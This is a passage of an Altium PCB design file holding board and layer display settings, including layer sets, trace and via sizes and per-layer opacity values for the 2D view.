LAYER=Automatic|TOPLAYER_MRLASTWIDTH=15mil|MIDLAYER1_MRLASTWIDTH=15mil|MIDLAYER2_MRLASTWIDTH=15mil|MIDLAYER3_MRLASTWIDTH=15mil|MIDLAYER4_MRLASTWIDTH=15mil|MIDLAYER5_MRLASTWIDTH=15mil|MIDLAYER6_MRLASTWIDTH=15mil|MIDLAYER7_MRLASTWIDTH=15mil|MIDLAYER8_MRLASTWIDTH=15mil|MIDLAYER9_MRLASTWIDTH=15mil|MIDLAYER10_MRLASTWIDTH=15mil|MIDLAYER11_MRLASTWIDTH=15mil|MIDLAYER12_MRLASTWIDTH=15mil|MIDLAYER13_MRLASTWIDTH=15mil|MIDLAYER14_MRLASTWIDTH=15mil|MIDLAYER15_MRLASTWIDTH=15mil|MIDLAYER16_MRLASTWIDTH=15mil|MIDLAYER17_MRLASTWIDTH=15mil|MIDLAYER18_MRLASTWIDTH=15mil|MIDLAYER19_MRLASTWIDTH=15mil|MIDLAYER20_MRLASTWIDTH=15mil|MIDLAYER21_MRLASTWIDTH=15mil|MIDLAYER22_MRLASTWIDTH=15mil|MIDLAYER23_MRLASTWIDTH=15mil|MIDLAYER24_MRLASTWIDTH=15mil|MIDLAYER25_MRLASTWIDTH=15mil|MIDLAYER26_MRLASTWIDTH=15mil|MIDLAYER27_MRLASTWIDTH=15mil|MIDLAYER28_MRLASTWIDTH=15mil|MIDLAYER29_MRLASTWIDTH=15mil|MIDLAYER30_MRLASTWIDTH=15mil|BOTTOMLAYER_MRLASTWIDTH=15mil|MRLASTVIASIZE=50mil|MRLASTVIAHOLE=28mil|LASTTARGETLENGTH=99999mil|SHOWDEFAULTSETS=TRUE|LAYERSETSCOUNT=5|LAYERSET1NAME=&All Layers|LAYERSET1LAYERS=MultiLayer,TopPaste,TopOverlay,TopSolder,TopLayer,BottomLayer,BottomSolder,BottomOverlay,BottomPaste,DrillGuide,KeepOutLayer,Mechanical1,Mechanical15,DrillDrawing|LAYERSET1ACTIVELAYER.7=TOP|LAYERSET1ISCURRENT=FALSE|LAYERSET1ISLOCKED=TRUE|LAYERSET1FLIPBOARD=FALSE|LAYERSET2NAME=&Signal Layers|LAYERSET2LAYERS=MultiLayer,TopLayer,BottomLayer|LAYERSET2ACTIVELAYER.7=TOP|LAYERSET2ISCURRENT=FALSE|LAYERSET2ISLOCKED=TRUE|LAYERSET2FLIPBOARD=FALSE|LAYERSET3NAME=&Plane Layers|LAYERSET3LAYERS=|LAYERSET3ACTIVELAYER.7=UNKNOWN|LAYERSET3ISCURRENT=FALSE|LAYERSET3ISLOCKED=TRUE|LAYERSET3FLIPBOARD=FALSE|LAYERSET4NAME=&NonSignal Layers|LAYERSET4LAYERS=MultiLayer,TopPaste,TopOverlay,TopSolder,BottomSolder,BottomOverlay,BottomPaste,DrillGuide,KeepOutLayer,DrillDrawing|LAYERSET4ACTIVELAYER.7=MULTILAYER|LAYERSET4ISCURRENT=FALSE|LAYERSET4ISLOCKED=TRUE|LAYERSET4FLIPBOARD=FALSE|LAYERSET5NAME=&Mechanical Layers|LAYERSET5LAYERS=Mechanical1,Mechanical15|LAYERSET5ACTIVELAYER.7=MECHANICAL1|LAYERSET5ISCURRENT=FALSE|LAYERSET5ISLOCKED=TRUE|LAYERSET5FLIPBOARD=FALSE|BOARDINSIGHTVIEWCONFIGURATIONNAME=
|RECORD=Board|VISIBLEGRIDMULTFACTOR=1.000|BIGVISIBLEGRIDMULTFACTOR=5.000|ELECTRICALGRIDMULTFACT=0.000|OUTLINEMODELCRC=0|OUTLINEMODELNAME=
|RECORD=Board|CURRENT2D3DVIEWSTATE=2D
|RECORD=Board|VP.LX=0|VP.HX=5684260|VP.LY=0|VP.HY=3947638
|RECORD=Board|2DCONFIGTYPE=.config_2dsimple|2DCONFIGURATION=`RECORD=Board`CFGALL.CONFIGURATIONKIND=1`CFGALL.CONFIGURATIONDESC=Altium%20Standard%202D`CFGALL.COMPONENTBODYREFPOINTCOLOR=16777215`CFGALL.COMPONENTBODYSNAPPOINTCOLOR=16777215`CFGALL.SHOWCOMPONENTSNAPMARKERS=FALSE`CFG2D.PRIMDRAWMODE=00000000000000000000000`CFG2D.LAYEROPACITY.TOPLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER1=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER2=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER3=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER4=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER5=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER6=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER7=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER8=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER9=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER10=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER11=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER12=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER13=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER14=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER15=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER16=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER17=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER18=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER19=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER20=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER21=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER22=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER23=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER24=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER25=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER26=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER27=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER28=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER29=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MIDLAYER30=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.BOTTOMLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.TOPOVERLAY=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.BOTTOMOVERLAY=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.TOPPASTE=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.BOTTOMPASTE=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.TOPSOLDER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.BOTTOMSOLDER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE1=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE2=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE3=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE4=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE5=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE6=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE7=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE8=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE9=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE10=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE11=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE12=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE13=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE14=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE15=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.INTERNALPLANE16=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.DRILLGUIDE=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.KEEPOUTLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL1=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL2=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL3=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL4=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL5=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL6=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL7=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL8=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL9=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL10=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL11=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL12=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL13=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL14=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL15=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL16=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.DRILLDRAWING=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MULTILAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.CONNECTLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.BACKGROUNDLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.DRCERRORLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.HIGHLIGHTLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.GRIDCOLOR1=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.GRIDCOLOR10=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.PADHOLELAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.VIAHOLELAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL17=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL18=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL19=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL20=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL21=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL22=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL23=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL24=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL25=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL26=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL27=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL28=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL29=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL30=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL31=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL32=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.TOGGLELAYERS=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111`CFG2D.TOGGLELAYERS.SET=Signal.All~-1_Mechanical.All~-1_Internal.All~-1_Standard.All~-1_Dielectric.All~0`CFG2D.WORKSPACECOLALPHA0=1.0`CFG2D.WORKSPACECOLALPHA1=1.0`CFG2D.WORKSPACECOLALPHA2=1.0`CFG2D.WORKSPACECOLALPHA3=1.0`CFG2D.WORKSPACECOLALPHA4=1.0`CFG2D.WORKSPACECOLALPHA5=1.0`CFG2D.WORKSPACECOLALPHA6=1.0`CFG2D.WORKSPACECOLALPHA7=1.0`CFG2D.WORKSPACECOLALPHA8=1.0`CFG2D.WORKSPACECOLALPHA9=1.0`CFG2D.WORKSPACECOLALPHA10=1.0`CFG2D.WORKSPACECOLALPHA11=1.0`CFG2D.WORKSPACECOLALPHA13=1.0`CFG2D.WORKSPACECOLALPHA14=1.0`CFG2D.MECHLAYERINSINGLELAYERMODE=00000000000000000000000000000000`CFG2D.MECHLAYERINSINGLELAYERMODE.SET=SerializeLayerHash.Version~2,ClassName~TLayerToBoolean,25165826~0`CFG2D.MECHLAYERLINKEDTOSHEET=00000000000000000000000000000000`CFG2D.MECHLAYERLINKEDTOSHEET.SET=SerializeLayerHash.Version~2,ClassName~TLayerToBoolean,25165826~0`CFG2D.CURRENTLAYER=MECHANICAL1`CFG2D.DISPLAYSPECIALSTRINGS=FALSE`CFG2D.SHOWTESTPOINTS=FALSE`CFG2D.SHOWORIGINMARKER=TRUE`CFG2D.EYEDIST=2000`CFG2D.SHOWSTATUSINFO=TRUE`CFG2D.SHOWPADNETS=TRUE`CFG2D.SHOWPADNUMBERS=TRUE`CFG2D.SHOWVIANETS=TRUE`CFG2D.SHOWVIASPAN=TRUE`CFG2D.USETRANSPARENTLAYERS=FALSE`CFG2D.PLANEDRAWMODE=2`CFG2D.DISPLAYNETNAMESONTRACKS=1`CFG2D.FROMTOSDISPLAYMODE=0`CFG2D.PADTYPESDISPLAYMODE=0`CFG2D.SINGLELAYERMODESTATE=3`CFG2D.ORIGINMARKERCOLOR=16777215`CFG2D.SHOWCOMPONENTREFPOINT=FALSE`CFG2D.COMPONENTREFPOINTCOLOR=16777215`CFG2D.POSITIVETOPSOLDERMASK=FALSE`CFG2D.POSITIVEBOTTOMSOLDERMASK=FALSE`CFG2D.TOPPOSITIVESOLDERMASKALPHA=0.500000`CFG2D.BOTTOMPOSITIVESOLDERMASKALPHA=0.500000`CFG2D.ALLCON